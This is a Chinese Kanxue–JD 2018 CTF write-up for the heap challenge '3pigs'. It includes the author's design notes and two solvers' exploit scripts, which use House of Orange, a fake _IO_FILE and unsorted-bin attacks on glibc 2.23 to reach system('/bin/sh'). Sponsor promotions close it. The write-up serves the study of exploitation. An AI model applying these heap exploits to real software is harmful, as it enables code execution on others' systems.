看雪.京东 2018 CTF 第十一题 PWN-3pigs 点评与解析
周末快乐!
经过一周激烈的角逐,如今CTF排名怎么样了呢?
我们一起来看看!
本题作者BPG以6血的成绩排名第4位
本题过后 风间仁 继续稳居首位,
AloneWolf和qwertyaa之间,角逐前三名。
wjbsyc、holing 突进前十名。
第十一题过后,比赛进入尾声,
但比赛角逐依然激烈,一切皆有可能。
究竟谁能笑到最后呢?
拭目以待吧!
看雪版主&评委 netwind 点评
作者精心构造了一个堆漏洞,需要对堆管理机制较熟悉,需采用‘House of orange’的堆漏洞利用方式解此题。
看雪.京东 2018 CTF 第十一题 作者简介
BPG
bbs.pediy.com/user-678748
第十一题出题者简介:
看雪ID:BPG, 已退役web选手,去年刚开始真正学习pwn,目前仍是小菜鸡一枚,希望能在看雪论坛中向大牛们多多学习交流。
看雪.京东 2018 CTF 第十一题 设计思路
1. ALL
首先还是看下各个操作:
* catch_pig
一共有三只猪可供选择,每只猪都有个自己的名字。然后你可以给他们留言,名字占0x10,留言占0xc8,一共申请了0xd8的空间。留言的时候会在最后加个`\x00`。
* release_pig
这一步主要是将申请的空间给释放掉,释放后会将内容全部清理掉,同时指针也将清空。
* change_name
修改名字,可以输入0x10的内容。
* list_pig
这里主要是将各个猪的名字和留言打印出来。
* catch_gold
这里可以抓金猪并且金猪不能被释放,而且金猪必须是在没有抓其他猪的情况下才能抓,大小为0x150。
* change_next_name
可以修改金猪的下一个猪的名字。
2. leak
泄露很简单,`libc`的地址直接申请释放制造一个`unsorted bin`就能够泄露出来了。
3. 缩小top
这里我提供的思路是利用溢出的`NULL BYTE`来实现缩小`top`,从而构造最终的`unlink`。
具体实现步骤如下:
catchpig(0,"0"*0xc8) # top被第一次改写
catchpig(1,"0"*0xc8) # top被第二次改写
catchpig(2) # 修改heap_1->next_chunk->prev_size为1,这样heap_1才能被释放
freepig(2)
freepig(1)
freepig(0)
这样操作以后,就能实现缩小`top`了,每次可以缩小多少不固定,反正测试一下就能得到多少次能变成非常小。
4. sysmalloc
当`top`变的非常小以至于无法满足我们要`malloc`的需求时,就会调用`sysmalloc`分配新的空间,并将`top`给`free`掉,所以这个时候我们就能伪造`top`的`prev_size`,从而调用`unlink`。
但问题是调用`sysmalloc`的时候会有个校验:
2412 assert ((old_top == initial_top (av) && old_size == 0) || // top没有初始化,所以其size为0
2413 ((unsigned long) (old_size) >= MINSIZE && // top已经初始化,所以包含fencepost,size一定大于MINSIZE
2414 prev_inuse (old_top) && // top的前一个chunk一定是inuse
2415 ((unsigned long) old_end & (pagesize - 1)) == 0)); // top结束地址必须页对齐
由于这里存在一个验证,需要前一个`chunk`不能为空闲的,所以没法直接和前面合并从而调用`unlink`。而后面同样也不行,因为在`sysmalloc`后会生成一个`fencepost`,其第一个`chunk`同样也是使用中的。具体可以参照[sysmalloc解析](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)。
而第二个问题是`top`结束地址必须页对齐,所以我强行构造了一发,最终在前面和后面都`malloc`了一个特殊大小的块,实现了页对齐。
5. houseoforange
那么最终就只能用`house of orange`来解决问题了,不过又很多限制所以我一一强行构造了出来。
首先是`size=0x60`才行,所以我设计了一个`gold pig`,用来构造一个对应大小的`top`,使之大小为0x80,之后通过`sysmalloc`会生成一个`fencepost`来减去0x20,最终得到了我们目标的0x60。
接着是`unsorted bin`攻击,所以我们需要修改`top->bk`,于是就可以使`gold pig`能修改下一个猪的名字。
其他的就都能从之前的猪的留言那设置了。
6. HITB非预期解
由于这里是可以修改下一个块的`bk`,而且也可以泄露`heap`地址,所以也是可以使用`house_of_lore`的,于是我们可以伪造一个`chunk`,使得其大小为0x60即可
首先先泄露`libc`的地址,方法其实和正常的也是一样的,然后泄露`heap`的地址,就是通过将`fastbin`夹在两个pigs之间,然后将他们释放也就能打印出来了。
当前的布局是这样的:
+========+
pig1
+========+
fastbin
+========+
pig2
+========+
pig3
+========+
topchunk
由于我们可以通过`fastbin`来修改`pig2`的`fd`和`bk`,所以可以在`pig2`里伪造两个chunk:
+========+ pig2
0 | 0xd1
+========+
arena->top | fakechunk1
+========+
padding
+========+ fakechunk1
0 | 0xd1
+========+
pig2|fakechunk2
+========+ fakechunk2
0 | 0x61
+========+
fakechunk1|arena->top
由于我们这里将`fakechunk2->bk`设置为了`arena->top`,而`arena->top->bk = arena->unsorted bin`,所以在将`fakechunk2`从`unsorted bin`取到`smallbin`的过程中不会报错
7. EXP
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./3pigs"
remote_detail = ("127.0.0.1",8888)
libc_file = "./libc.so.6"
bp = []
pie = False
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def catchpig(id,data):
p.recvuntil("ope:")
p.sendline("1")
p.recvuntil("num:")
p.sendline(str(id))
p.recvuntil("data:")
p.send(data)
p.recvuntil("Success")
def freepig(id):
p.recvuntil("ope:")
p.sendline("2")
p.recvuntil("num:")
p.sendline(str(id))
p.recvuntil("Success")
def listpig():
p.recvuntil("ope:")
p.sendline("3")
return p.recvuntil("Success")
def catchgold():
p.recvuntil("ope:")
p.sendline("4")
p.recvuntil("secret:")
p.sendline("UOTp%I<S")
p.recvuntil("Success")
def usegold(data):
p.recvuntil("ope:")
p.sendline("5")
p.recvuntil("data:")
p.send(data)
p.recvuntil("Success")
def leak():
global io_addr, libc_addr
catchpig(0,"0")
catchpig(1,"1")
freepig(0)
catchpig(2,"2")
ret = listpig()
addr = ret.split("\n")[3].split("Small Li")[1].split("|")[0].ljust(8,"\x00")
addr = u64(addr)
print hex(addr)
usbin_addr = addr
io_addr = usbin_addr + 0x9a8
libc_addr = (addr & 0xfffffffff000) - 0x3c4000
freepig(1)
freepig(2)
def cleantop():
tmp = (binsh_addr-100)/2
catchpig(0,"0"*0xb8)
catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18)
catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
freepig(1)
freepig(2)
freepig(0)
def cleantop2():
catchpig(0,"0"*0xb8)
catchpig(2,"2")
freepig(0)
freepig(2)
catchpig(1,"4")
catchgold()
catchpig(2,"5")
freepig(2)
freepig(1)
usegold(p64(0) + p64(io_list_all-0x10)[:-1])
p.recvuntil("ope:")
p.sendline("1")
p.recvuntil("num:")
p.sendline("1")
if __name__=='__main__':
leak()
system_addr = libc_addr + libc.symbols['system']
io_str_jumps = libc_addr + + libc.symbols['_IO_file_jumps'] + 0xc0
binsh_addr = libc_addr + libc.search("/bin/sh").next()
io_list_all = libc_addr + 0x3c5520
log.success("io_addr: %s"%(hex(io_addr)))
log.success("system_addr: %s"%(hex(system_addr)))
log.success("binsh_addr: %s"%(hex(binsh_addr)))
log.success("strjump_addr: %s"%(hex(io_str_jumps)))
#raw_input("system")
for i in xrange(512):
cleantop()
print i
#pause()
#cleantop()
cleantop2()
p.interactive()
看雪.京东 2018 CTF 第十一题解析
*本解析来自看雪论坛 holing
0x00 前言
这道题做起来感觉局限性很大,不能自定义chunk的大小,只能分配0xD0和0x80的chunk;然后一共能用来放堆块的全局数组大小只有3。所以最后几乎是极限利用house of orange做出来的。所以,不知道是不是预期解...(按照我做pwn的魔咒估计又不是预期了2333...
0x01 漏洞点
漏洞点有两处,一个是在申请普通pig时,有16字节的溢出
pigs[v1] = (char *)malloc((signed int)pig_size);
//...
puts("data:");
get_input(pigs[v1] + 16, pig_size); // overflow
还有一个是可以直接修改fly pig后面的那个chunk
get_input(buf_0x70 + 0x80, 16);
因为刚好buf_0x70的chunk大小是0x80,所以这刚好可以写到下一个chunk的fd和bk
0x02 leak
首先是要leak,还是老思路,溢出转成UAF,这里可以用把unsorted bin延伸的思路。具体就是,把unsorted bin延伸到后面一个已经在使用的chunk,然后申请一个堆块,这个时候就可以通过show那个UAF的pig来实现fd的leak。
具体实现如下
create_pig(0, "A" * 0xB7 + "\n")
create_pig(1, "B" * 0xB7 + "\n")
create_pig(2, "\x00" + "C" * 0xB6 + "\n")
free_pig(0)
free_pig(1)
create_pig(0, "A" * 0xB8 + p64((0xD0 * 2) | 1)[:7] + "\n")
#extend unsorted bin chunk
create_pig(1, "\x00" * 0xB7 + "\n")
#此时idx为2的pig处于UAF状态,可以leak出fd
leak = print_pigs()[0xd0:0xd0+6]+"\x00\x00"
libc_addr = u64(leak) - UNSORTED_OFF
assert (libc_addr & 0xfff) == 0
print hex(libc_addr)
0x03 极限house of orange
思路
这题leak是比较简单的,难的是任意代码执行。这题明显不能fastbin attack,因为没法分配0x70的chunk。想了一下发现只能house of orange。但是house of orange需要溢出一整个_IO_FILE的数据,我们这边只能溢出16个字节,尤其是最关键的bk指针没法溢出到,怎么办?
一开始的思路是,构造两个0xD0和0x80的chunk,使他们可以溢出到同一个unsorted bin,这样两个pig“合作”,一个负责溢出prev_size和size,一个负责写fd和bk,然后_IO_FILE其他数据就预先放在这个chunk里面。
然而不行,构造不出这种情况。
那么换思路,我们真的需要溢出prev_size和size么?前者可以用跟放_IO_FILE其他数据一样的思路预先放好,而size只要是0x61就行,而这是可以通过溢出unsorted bin chunk的大小构造出来的。
准备工作
首先是_IO_FILE的内容
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += "\x00" * 0x10 # fd and bk
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])
这里不是通过自己构造虚表,而是用了一个libc里面的虚表中一个函数,这个虚表在_IO_jump_t的后面,就在这个表偏前面的位置,有个函数,里面有个call [xxx+0xe8]这样的指令,很好找的。然后第一个参数刚好也用了结构体里面的一个数据,所以在那里放/bin/sh的地址即可,然后0xe8处放system的地址,即可实现system("/bin/sh")。
这个利用方式比起自己构造虚表有一个好处,一是不用leak堆的地址,二是可以绕过2.24以上版本的一个security check。这题libc版本是2.23,所以用这个方法的原因是前者。
接着清理一下堆
free_pig(1)
free_pig(0)
#fake_file[0x20:0x50]
create_pig(0, "F" * 0xB7 + "\n")
free_pig(0)
#consume last chunk,
#last chunk won't be consolidated because pre_inuse of topchunk
#so do consolidation by ourselves
#now bins are empty, everything merged to top chunk
#donot use idx 2 now
这里有个有趣的现象,因为虽然我们延伸了unsorted bin chunk的大小,但是top chunk的prev_use仍然是1,所以在free 1和0 之后,前面的unsorted bin跟那个UAF的chunk并不会consolidate,所以后面要再create一下,拿到之前那个UAF的chunk,再free,就会全部consolidate成一个top chunk了。(除了0xB21处最开始分配的那个3616大小的chunk,然而我并不知道那是干嘛用的,大概那才是预期解?233)
house of spirit 解放idx 2
此时0和1是空的,2是一个野指针。然后接下来的利用,我一开始试着只用两个pigs来弄,发现怎么也弄不成功。所以务必解放idx为2的pig。然而他是个野指针,随便free可能会爆,怎么办?可以用house of spirit的思路,把他作为一个用不到的大小的fastbin chunk释放掉,比方说这题我就用了0x20。
create_fly_pig()
create_fly_pig()
create_fly_pig()
#topchunk fb0
#dangling pointer fe0
#0x30
create_pig(0, "PREVSIZE" + p64(0x21) + "A" * 0x18 + p64(0x1234))
free_pig(0)
#free 0 first to prevent fastbin consolidation
free_pig(2)
#house of spirit to make idx 2 available
#now bins only has 0x20 fastbin
#3 pigs are clear
这里要注意,必须要先free 0再free 2,不然会导致fastbin consolidate,这样会爆异常。
这个时候3个pigs又都可以用了,而且bins除了0x20 fastbin也都是空的,然而这个0x20根本不会被用上
house of orange花式利用
接着就是house of orange了,要构造一个0x61的chunk,同样用之前的思路,改写unsorted bin的大小。这个时候就要把unsorted bin大小改写成0x60+0x80,这样的话create一个flypig之后,刚好能剩下一个0x60的chunk。
当然,要预先在内存中放好_IO_FILE的关键数据,exp如下
create_pig(0, "F" * 0xB7 + "\n")
create_pig(1, "\x00" * 0x80 + fake_file[0x20:0x50] + "G" * 7 + "\n")
#\x00是因为_flags(prev_size)要是0
create_pig(2, fake_file[0x70:] + "\n")
create_fly_pig() #prevent topchunk consolidate
free_pig(0)
free_pig(1)
#now 0x1a1 unsorted bin
create_pig(0, "E" * 0xB8 + p64((0x60 + 0x80) | 1)[:7] + "\n")
create_fly_pig()
edit_fly_pig(p64(libc_addr + UNSORTED_OFF) + p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)[:7] + "\n")
sh.send("4\x00")
sh.recvuntil("secret:\n")
sh.send("UOTp%I<S\n")
sh.interactive()
至于这个“预先放好”的位置是如何确定的,大概就是不断地脑补+调试吧,有时候右脑不够用纸上画个图也能帮助思考。
有趣的是,好像在这个版本0x60+0x80=0xe0的unsorted bin chunk的后面并不用伪造next chunk的prev_size和size,这个好像在后面libc的版本是有检查的。
合作伙伴
京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。
京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。
随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。
京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。
CTF 旗帜已经升起,等你来战!
扫描二维码,立即参战!
✎看雪.京东 2018 CTF
看雪.京东 2018 CTF 第八题 薛定谔之猫 点评与解析
看雪2018安全开发者峰会
2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。
戳下图↓,立即购票,享5折优惠!